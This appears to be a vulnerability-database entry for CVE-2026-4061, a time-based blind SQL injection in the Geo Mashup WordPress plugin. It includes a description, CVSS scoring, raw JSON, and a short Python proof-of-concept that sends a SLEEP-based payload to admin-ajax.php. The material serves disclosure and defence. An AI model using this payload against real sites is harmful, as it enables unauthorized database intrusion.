Security Vulnerability Report
中文
CVE-2026-4061 CVSS 7.5 HIGH

CVE-2026-4061

Published: 2026-05-02 12:16:16
Last Modified: 2026-05-05 19:15:34

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'map_post_type' parameter in all versions up to, and including, 1.13.18. This is due to the `SearchResults` hook explicitly calling `stripslashes_deep($_POST)` which removes WordPress magic quotes protection, followed by the unsanitized `map_post_type` value being concatenated into an `IN(...)` clause without `esc_sql()` or `$wpdb->prepare()`. The 'any' branch of the same code correctly applies `array_map('esc_sql', ...)`, but the else branch does not. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach. Exploitation requires the Geo Search feature to be enabled in plugin settings.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Geo Mashup Plugin <= 1.13.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests import time def check_sqli(url): # Vulnerable parameter endpoint (example) target_url = f"{url}/wp-admin/admin-ajax.php" # Payload for time-based blind SQL injection # Bypassing logic due to stripslashes_deep and lack of esc_sql payload = { "action": "geo_mashup_search", "map_post_type": "post' AND (SELECT SLEEP(5))-- -" } try: start_time = time.time() response = requests.post(target_url, data=payload, timeout=10) end_time = time.time() if end_time - start_time > 5: print(f"[+] Vulnerability confirmed at {url}") print(f"[+] Response time: {end_time - start_time:.2f}s") else: print(f"[-] Not vulnerable or Geo Search disabled.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target check_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4061", "sourceIdentifier": "[email protected]", "published": "2026-05-02T12:16:16.200", "lastModified": "2026-05-05T19:15:34.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'map_post_type' parameter in all versions up to, and including, 1.13.18. This is due to the `SearchResults` hook explicitly calling `stripslashes_deep($_POST)` which removes WordPress magic quotes protection, followed by the unsanitized `map_post_type` value being concatenated into an `IN(...)` clause without `esc_sql()` or `$wpdb->prepare()`. The 'any' branch of the same code correctly applies `array_map('esc_sql', ...)`, but the else branch does not. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach. Exploitation requires the Geo Search feature to be enabled in plugin settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1748", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/php/Hooks/SearchResults.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/php/Search.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3503627/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cc3cf6c5-643e-49ca-b09c-bd7cfec328ee?source=cve", "source": "[email protected]"}]}}